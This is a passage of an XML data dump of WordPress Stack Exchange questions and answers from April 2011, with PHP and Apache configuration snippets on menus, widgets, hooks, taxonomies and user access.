href=&quot;http://tinymce.moxiecode.com/wiki.php/Configuration&quot; rel=&quot;nofollow&quot;&gt;TinyMCE configuration parameters&lt;/a&gt;, and find the one that you need to change.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-27T14:19:57.843" LastActivityDate="2011-04-27T14:19:57.843" CommentCount="6" />
  <row Id="15667" PostTypeId="2" ParentId="7702" CreationDate="2011-04-26T17:33:48.857" Score="1" ViewCount="" Body="&lt;p&gt;First, you need to query the child Pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageargs = array(&#xA;  'numberposts' =&amp;gt; -1,&#xA;  'orderby' =&amp;gt; 'menu_order',&#xA;  'order' =&amp;gt; 'ASC',&#xA;  'post_type' =&amp;gt; 'page',&#xA;  'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;);&#xA;$childpages = get_posts( $pageargs );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you need to create your custom Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $childpages as $childpage ) {&#xA;    // Output whatever you want here, such as:&#xA;    ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;?php echo $childpage-&amp;gt;post_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php echo $childpage-&amp;gt;post_exerpt; ?&amp;gt;&#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, however, that Pages do not by default support excerpts. So, you'll need to enable that, in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Excerpt to Pages&#xA;add_post_type_support( 'page', 'excerpt' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you should be all set.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T17:33:48.857" />
  <row Id="15668" PostTypeId="1" AcceptedAnswerId="16362" CreationDate="2011-04-26T17:34:03.773" Score="0" ViewCount="52" Body="&lt;p&gt;I have a client that needs to give access to her clients certain documents. She wants the ability to give them user name and password, so once they log in, they go directly to their page or post which will list the documents available for download. Plugins don't seem to help here and some are way too complicated. I have read many articles and tried several concepts but can't get it right. It's almost a membership to access info, but it's free and members can only be allowed to see what was written for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a tough one for me. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-05-04T19:49:52.000" Title="Suggestions for allowing basic users to view their own posts?" Tags="&lt;user-access&gt;&lt;membership&gt;&lt;page-specific-settings&gt;" AnswerCount="2" />
  <row Id="15669" PostTypeId="2" ParentId="15650" CreationDate="2011-04-26T17:39:52.473" Score="2" ViewCount="" Body="&lt;p&gt;So basically you are asking how to create a custom menu by code and assign it to a menu location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //give your menu a name&#xA;$name = 'theme default menu';&#xA; //create the menu&#xA;$menu_id = wp_create_nav_menu($name);&#xA; //then get the menu object by its name&#xA;$menu = get_term_by( 'name', $name, 'nav_menu' );&#xA; //then add the actuall link/ menu item and you do this for each item you want to add&#xA;wp_update_nav_menu_item($menu-&amp;gt;term_id, 0, array(&#xA;    'menu-item-title' =&amp;gt;  __('Home'),&#xA;    'menu-item-classes' =&amp;gt; 'home',&#xA;    'menu-item-url' =&amp;gt; home_url( '/' ), &#xA;    'menu-item-status' =&amp;gt; 'publish'));&#xA;// you add as many items ass you need with wp_update_nav_menu_item()&#xA;&#xA;//then you set the wanted theme  location&#xA;$locations = get_theme_mod('nav_menu_locations');&#xA;$locations['LOCATION_NAME'] = $menu-&amp;gt;term_id;&#xA;set_theme_mod( 'nav_menu_locations', $locations );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all you have to do is add as many links as you want, change &lt;code&gt;LOCATION_NAME&lt;/code&gt; to the actual location name and make sure this code is only run once.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T17:39:52.473" CommentCount="2" />
  <row Id="15670" PostTypeId="2" ParentId="15668" CreationDate="2011-04-26T17:43:13.080" Score="0" ViewCount="" Body="&lt;p&gt;give my plugin a try &lt;a href=&quot;http://wordpress.org/extend/plugins/user-specific-content/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Specific Content&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T17:43:13.080" />
  <row Id="15672" PostTypeId="2" ParentId="15651" CreationDate="2011-04-26T18:15:43.027" Score="0" ViewCount="" Body="&lt;p&gt;Your /etc/users/{username}.conf should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/Users/username/Sites/&quot;&amp;gt;&#xA;    Options Indexes MultiViews FollowSymLinks&#xA;    AllowOverride All AuthConfig&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also have to change the name Apache runs under to be able to save the .htaccess rules and use the media uploader etc...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule !mpm_netware_module&amp;gt;&#xA;&amp;lt;IfModule !mpm_winnt_module&amp;gt;&#xA;&#xA;User chris&#xA;Group admin #or you can use staff&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The AllowOverride is listed a couple of times in httpd.conf make sure you changed the right one or both.  One is the default setting and the other is for Library/WebServer/Documents which you should change to whatever server document root your using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache has to be restarted for any changes to take affect.  &lt;code&gt;sudo apachectl restart&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://www.perfectline.ee/blog/how-to-setup-apache-and-php-on-mac-os-x-snow-leopard&quot; rel=&quot;nofollow&quot;&gt;How to Install Apache and PHP on Mac OSX&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T18:15:43.027" CommentCount="2" />
  <row Id="15674" PostTypeId="1" CreationDate="2011-04-26T18:23:37.793" Score="0" ViewCount="67" Body="&lt;p&gt;I want to preset some widgets using functions included in my theme ONLY after a site is initially created (my theme is the default for all new sites in my instance of WordPress).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I DO NOT want my preset widgets to replace existing widgets when a user activates my theme UNLESS their existing widget areas are different from those in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've modelled my widgets_init function on the one found in the Thematic theme framework.  Thematic adds preset widgets using the following conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset( $_GET['activated'] ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus when Thematic is activated, it wipes out existing widgets and adds its own preset widgets...  I want my theme to use existing widgets if they are in widget areas my theme supports (i.e. a user switches from one child theme to another, both of which use my theme as their parent)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;register_activation_hook&lt;/a&gt; but that seems to be designed for plugin functions and not functions included in themes...  Here are questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there an action that is run ONLY after a site has been initially created? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively are their conditions I can check to determine whether a site has just been created?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4330" LastActivityDate="2011-08-28T06:35:58.217" Title="Preset Widgets ONLY after site is initially created" Tags="&lt;widgets&gt;&lt;hooks&gt;&lt;theme-options&gt;&lt;init&gt;" AnswerCount="1" />
  <row Id="15676" PostTypeId="2" ParentId="15674" CreationDate="2011-04-26T18:35:18.547" Score="0" ViewCount="" Body="&lt;p&gt;Why not output your Theme's custom Widgets using &lt;code&gt;the_widget()&lt;/code&gt;, inside of a &lt;code&gt;if ( ! dynamic_sidebar( 'sidebar-name' ) )&lt;/code&gt; conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !dynamic_sidebar( 'sidebar-right' ) ) {&#xA;&#xA;$widgetsidebarrightargs = array(&#xA;    'before_widget' =&amp;gt; '&amp;lt;div class=&quot;widget&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;div class=&quot;title widgettitle&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/div&amp;gt;'&#xA;);&#xA;&#xA;the_widget('WP_Widget_Calendar' , 'title=' , $widgetsidebarrightargs );&#xA;the_widget( 'oenology_widget_linkrollbycat' , 'title=Oenology Links by Cat' , $widgetsidebarrightargs );&#xA;the_widget('WP_Widget_Meta' , 'title=Meta' , $widgetsidebarrightargs );&#xA;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I use in my Theme. The &lt;code&gt;oenology_widget_linkrollbycat&lt;/code&gt; Widget is a custom Theme Widget. Simply replace with your own Widget names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, your Widgets are applied to the specified sidebar by default, unless and until the user adds his own Widgets to the sidebar via &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Widgets&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-26T18:35:18.547" CommentCount="3" />
  <row Id="15677" PostTypeId="2" ParentId="15665" CreationDate="2011-04-26T18:41:35.547" Score="1" ViewCount="" Body="&lt;p&gt;If you're using a memory cache like APC or memcached, their respective admin pages will have the total memory you're using (my Wordpress installs are using 80MB with W3 Total Cache).  You could then install wp-super-cache and see what it does to your memory usage.&lt;/p&gt;&#xA;" OwnerUserId="4905" LastActivityDate="2011-04-26T18:41:35.547" CommentCount="2" />
  <row Id="15678" PostTypeId="1" CreationDate="2011-04-26T19:05:32.283" Score="0" ViewCount="33" Body="&lt;p&gt;I upgraded my wordpress to 3.1.1. After the upgrade i had installed a plugin TinyMCE Advanced. Before i did the update i installed a plugin called WordPress Database Backup, when i check my website &lt;a href=&quot;http://brianhaskins.com&quot; rel=&quot;nofollow&quot;&gt;http://brianhaskins.com&lt;/a&gt;, i got to see a some sql statemen which covered half the page. I deactivated the newly installed plugins. Most of the queries vanished after i deactivated WordPress Database Backup plugin. But still there is one sql query which is been seen on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to get over this issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prady&lt;/p&gt;&#xA;" OwnerUserId="4903" LastActivityDate="2011-04-26T19:05:32.283" ClosedDate="2011-04-26T20:59:09.790" Title="SQL querie displaying on my site after upgrade to 3.1.1" Tags="&lt;3.1&gt;" CommentCount="2" />
  <row Id="15679" PostTypeId="1" CreationDate="2011-04-26T19:22:32.173" Score="1" ViewCount="94" Body="&lt;p&gt;If one tries to load a theme template file directly, the following error message is displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function get_header() in ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it goes on to list the full directory path to the wordpress install. This seems undesirable. How can I prevent it? Upon googling I found a suggestion to insert the following into wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(0);&#xA;@ini_set(‘display_errors’, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oddly, it did not work when I tested it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3520" LastActivityDate="2011-04-26T19:50:18.873" Title="How to stop fatal error when loading theme template file directly" Tags="&lt;wp-config&gt;&lt;php.ini&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="15680" PostTypeId="1" CreationDate="2011-04-26T19:29:09.953" Score="0" ViewCount="58" Body="&lt;p&gt;I have the following code in the functions.php file in my theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function my_func(){&#xA;    echo &quot;foo&quot;;&#xA;  }         &#xA;  add_action('admin_menu','my_func');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume this function &quot;my_func&quot; will be called once in the admin_menu action; however I have found that the function is being called many times -it will print the word &quot;foo&quot; in the top of every widget of the dashboard-!!&#xA;for me this is a strange behavior!,how can I make the function runs for one time? I want it to run when creating the admin menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4627" LastActivityDate="2011-04-26T20:23:02.117" Title="How to make a function occurs for one time?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;admin-menu&gt;&lt;add-action&gt;" AnswerCount="1" />
  <row Id="15681" PostTypeId="2" ParentId="15679" CreationDate="2011-04-26T19:42:40.830" Score="1" ViewCount="" Body="&lt;p&gt;I define some variables used in my theme at the top of functions.php....one of them being&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$press_here             = 'yes';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then at the top of my template files I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $press_here;&#xA;if( !isset( $press_here ) )&#xA;    die('You don\'t have permission to view this page.');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then gives the error message I define there when being accessed directly, nothing more.&#xA;(Thanks @t31os )&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-04-26T19:50:18.873" LastActivityDate="2011-04-26T19:50:18.873" />
  <row Id="15682" PostTypeId="1" AcceptedAnswerId="15687" CreationDate="2011-04-26T19:57:01.443" Score="-1" ViewCount="91" Body="&lt;p&gt;I am building a site on WordPress. I can't publish posts: when I attempt to do so, the site just hangs and then I get a time out page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can add new pages without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upgrading the WP build. &lt;/li&gt;&#xA;&lt;li&gt;Switching my theme to Twenty Ten. I still cannot publish posts.&lt;/li&gt;&#xA;&lt;li&gt;Deleting all plugins and the plugin folder.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of this has resolved the issue. Should I contact my host or is this a WP issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help,&#xA;Jeff&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2011-04-26T20:50:21.137" Title="Cannot publish posts, but can create new pages" Tags="&lt;posts&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="15683" PostTypeId="1" AcceptedAnswerId="15695" CreationDate="2011-04-26T20:07:19.670" Score="2" ViewCount="148" Body="&lt;p&gt;what is the action hook, if a user activates his profile? For the profile update, it is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;profile_update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example. My goal is, to execute a function, if a user activates his profile. Something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_activate','my_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4906" LastActivityDate="2011-04-26T21:35:18.103" Title="Wordpress Hook for user account activation in normal Wp (not MU)" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="15684" PostTypeId="2" ParentId="15680" CreationDate="2011-04-26T20:23:02.117" Score="1" ViewCount="" Body="&lt;p&gt;It is executed only once. You see it multiple times because contents of those widgets are fetched via AJAX which loads WordPress in the ajax request again and hence it is echo'ed once again but it is executed only once per load. Makes sense?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-26T20:23:02.117" />
  <row Id="15685" PostTypeId="1" AcceptedAnswerId="15877" CreationDate="2011-04-26T20:39:41.780" Score="1" ViewCount="225" Body="&lt;p&gt;I need some help with a custom menu. I'm using WP 3.1.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create an unclickable placeholder in the nav menu. So, the children will be clickable, but the &quot;title&quot; in the nav bar is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's  say I have a Shovel Page, Trowel Page, and a Spade Page and I want them all to be accessible under the Tools section in the Custom Menu. In the menu, &quot;Tools&quot; isn't clickable, only the children are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the solution outlined here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1503/non-clickable-placeholder-in-the-menu&quot;&gt;non-clickable placeholder in the menul&lt;/a&gt; . But, if I click the placeholder I get an Alert. Also, his opened Custom Link box looks different than mine. I only have options for URL, Navigation Label, and Title Attribute. I don't know if that has anything to do with why it doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-06-27T23:18:12.927" Title="Unclickable Menu Item Label in Custom Menu with Clickable Children" Tags="&lt;custom-menus&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15686" PostTypeId="1" CreationDate="2011-04-26T20:42:30.780" Score="0" ViewCount="32" Body="&lt;p&gt;Have someone been able to remove the according effect in podpress??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to set it open all the time (1pixelout player)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciated any suggest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-04-26T20:42:30.780" Title="Podpress Accordion" Tags="&lt;jquery&gt;" />
  <row Id="15687" PostTypeId="2" ParentId="15682" CreationDate="2011-04-26T20:50:21.137" Score="2" ViewCount="" Body="&lt;p&gt;Considering all the content generated by WordPress websites, it seems rather far-fetched that this would be a WordPress problem. I'd contact your host.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-26T20:50:21.137" CommentCount="1" />
  <row Id="15688" PostTypeId="1" CreationDate="2011-04-26T21:04:52.033" Score="1" ViewCount="131" Body="&lt;p&gt;I am using WP3 and want to starting adding users (many users to a single blog) but when I give a new user an account, they can see all the posts in the admin including scheduled, drafts, pending review etc. I either need the users to ONLY view their own posts or only view their own published posts (but not scheduled, drafts, etc). The admin should be able to see everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link I found on this issue with a code but the code is not working in my functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/show-only-authors-posts-in-admin-panel-instead-of-all-posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/show-only-authors-posts-in-admin-panel-instead-of-all-posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4908" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-27T10:33:35.297" LastActivityDate="2011-07-01T14:03:53.357" Title="Code needed to only show users own posts in a multi-user account" Tags="&lt;user-roles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" />
  <row Id="15689" PostTypeId="2" ParentId="15639" CreationDate="2011-04-26T21:08:50.003" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;in my code, &lt;code&gt;the_post()&lt;/code&gt; seems to return nothing inside the loop&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is not supposed to return anything. It just sets up global variables with info about current post and iterates the loop. Check global &lt;code&gt;$post&lt;/code&gt; variable for current post instead.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even stranger: &lt;code&gt;get_defined_vars()&lt;/code&gt; outputs nothing inside the template as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That function outputs variable from current scope. Since your templates is loaded inside of some feed-related function it doesn't output global variables because they are out of scope for that function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-26T21:08:50.003" CommentCount="1" />
  <row Id="15690" PostTypeId="1" CreationDate="2011-04-26T21:08:57.353" Score="0" ViewCount="155" Body="&lt;p&gt;I've been using the cforms II plugin for Wordpress for a few years now with great success. Now I'm trying to dig a bit deeper and am a bit stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a built in function to email 'multiple recipients', but all this provides is a drop down list of addresses. As such users can only select a single address to send the form to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is let the users send the form to multiple addresses via checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading &lt;a href=&quot;http://www.deliciousdays.com/cforms-forum/troubleshooting/send-form-to-multiple-dynamic-addresses/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; and &lt;a href=&quot;http://www.deliciousdays.com/cforms-forum/troubleshooting/my_cforms_action-questions/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; over on the cforms forum I feel like I'm getting close, but can't quite figure out how it comes together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears I need to modify the my-functions.php file to pull the checked inputs from the form into the to: field of the resulting email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried something like this with cforms? Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4909" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-05-14T15:35:34.597" LastActivityDate="2011-05-14T15:35:34.597" Title="Getting cforms II to email submissions to admins via checkbox" Tags="&lt;plugins&gt;&lt;php&gt;&lt;plugin-cforms&gt;" />
  <row Id="15691" PostTypeId="1" AcceptedAnswerId="15696" CreationDate="2011-04-26T21:11:37.867" Score="0" ViewCount="383" Body="&lt;p&gt;I currently have a taxonomy called wpsc_product_category. Under that taxonomy I have several terms used as sub-categories, and finally each sub-category has a number of products. I'm trying to use wp_list_categories to show an ul starting from the parent category of the current product your are viewing. ¿Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php    &#xA;&#xA;$taxonomy     = 'wpsc_product_category';&#xA;$orderby      = 'name'; &#xA;$show_count   = 0;      // 1 for yes, 0 for no&#xA;$pad_counts   = 0;      // 1 for yes, 0 for no&#xA;$hierarchical = 1;      // 1 for yes, 0 for no&#xA;$title        = '';&#xA;$child_of     = $actualcategoryparentid&#xA;&#xA;$args = array(&#xA;  'taxonomy'     =&amp;gt; $taxonomy,&#xA;  'orderby'      =&amp;gt; $orderby,&#xA;  'show_count'   =&amp;gt; $show_count,&#xA;  'pad_counts'   =&amp;gt; $pad_counts,&#xA;  'hierarchical' =&amp;gt; $hierarchical,&#xA;  'title_li'     =&amp;gt; $title&#xA;  'child_of'     =&amp;gt; $child_of&#xA;);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php wp_list_categories( $args ); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought of something like this, but I don't know how to retrieve $actualcategoryparentid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4804" LastActivityDate="2011-04-26T21:51:07.943" Title="Use wp_list_categories to list parent categories from actual term" Tags="&lt;custom-taxonomy&gt;&lt;3.1&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="15692" PostTypeId="1" CreationDate="2011-04-26T21:27:26.683" Score="1" ViewCount="75" Body="&lt;p&gt;Does anyone know of any max number of WP multisites or performance issues with having many?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4910" LastActivityDate="2011-05-29T02:54:52.487" Title="Max number of multisites" Tags="&lt;multisite&gt;&lt;performance&gt;" AnswerCount="1" />
  <row Id="15693" PostTypeId="1" AcceptedAnswerId="15704" CreationDate="2011-04-26T21:28:34.830" Score="0" ViewCount="178" Body="&lt;p&gt;Hi to all I'm running a wordpress based website and I need to let the users choose how to show the posts inside categories pages.&#xA;I would like to have a button inside a category page that can be clicked so the reader can choose if he wants to see posts ordered by date or from A to Z or from Z to A.&#xA;Is there anyone who can tell me how to achieve this?&#xA;Please explain it like if you are speaking to your 12 years son :-)&#xA;I google a lot about this and I've never found nothing that I can copy/paste into my code or that I can modify. I can't understand how to do this... any solution?&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-05-13T14:31:29.317" Title="How to let users choose posts order in categories?" Tags="&lt;categories&gt;&lt;users&gt;&lt;sort&gt;&lt;showcase&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15694" PostTypeId="2" ParentId="15655" CreationDate="2011-04-26T21:32:17.213" Score="0" ViewCount="" Body="&lt;p&gt;I reworked a classipress theme gallery to use WP gallery and integrated it with Galleria for nice effect, the only problem i came across was that i needed a huge block of code to remove the WP Gallery styling and replace with my own so that Galleria would look sweet&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-26T21:32:17.213" />
  <row Id="15695" PostTypeId="2" ParentId="15683" CreationDate="2011-04-26T21:35:18.103" Score="0" ViewCount="" Body="&lt;p&gt;Well there you go Register Plus Redux is the plugin which is adding your new user verification, and by looking at its code there are no filters or hooks which is said because if you make changes to it they will be lost the next time you update, so i would suggest to contact the plugin developer and ask him to add it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a quick fix for you would be to add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('3cees_user_activate',$user_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after line 2938 at register-plus-redux.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can then call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( '3cees_user_activate','your_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your function will run when a user is activated and $user_id will be passed to it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-26T21:35:18.103" CommentCount="4" />
  <row Id="15696" PostTypeId="2" ParentId="15691" CreationDate="2011-04-26T21:51:07.943" Score="1" ViewCount="" Body="&lt;p&gt;this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = wp_get_object_terms( $post-&amp;gt;ID, 'wpsc_product_category' );&#xA;foreach($terms as $term){&#xA;    if($term-&amp;gt;parent != 0){&#xA;        // this category has a parent and its id is $term-&amp;gt;parent&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-26T21:51:07.943" CommentCount="9" />
  <row Id="15697" PostTypeId="2" ParentId="15655" CreationDate="2011-04-26T21:59:42.210" Score="1" ViewCount="" Body="&lt;p&gt;See the code in my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6600/integrating-nextgen-gallery-with-gallerific/13974#13974&quot;&gt;answer to a similar question&lt;/a&gt;.  It strips out and reworks the gallery shortcode to use with jQuery Gallerific.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-26T21:59:42.210" CommentCount="4" />
  <row Id="15698" PostTypeId="2" ParentId="1459" CreationDate="2011-04-26T22:31:06.593" Score="-1" ViewCount="" Body="&lt;p&gt;The problem with Wordpress GUID is that they look the same as URL - so some smart-asses decided to use them for url - the guids should better be some random numbers or something similar...&lt;/p&gt;&#xA;" OwnerUserId="4914" LastActivityDate="2011-04-26T22:31:06.593" CommentCount="1" />
  <row Id="15699" PostTypeId="1" CreationDate="2011-04-26T22:27:30.733" Score="0" ViewCount="177" Body="&lt;p&gt;I would like to know how can one export all the posts content to a PDF file or Word or similar that includes all the pictures.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4954" LastActivityDate="2011-08-29T04:36:19.183" Title="Export whole wordpress blog to PDF or similar including images" Tags="&lt;pdf&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" />
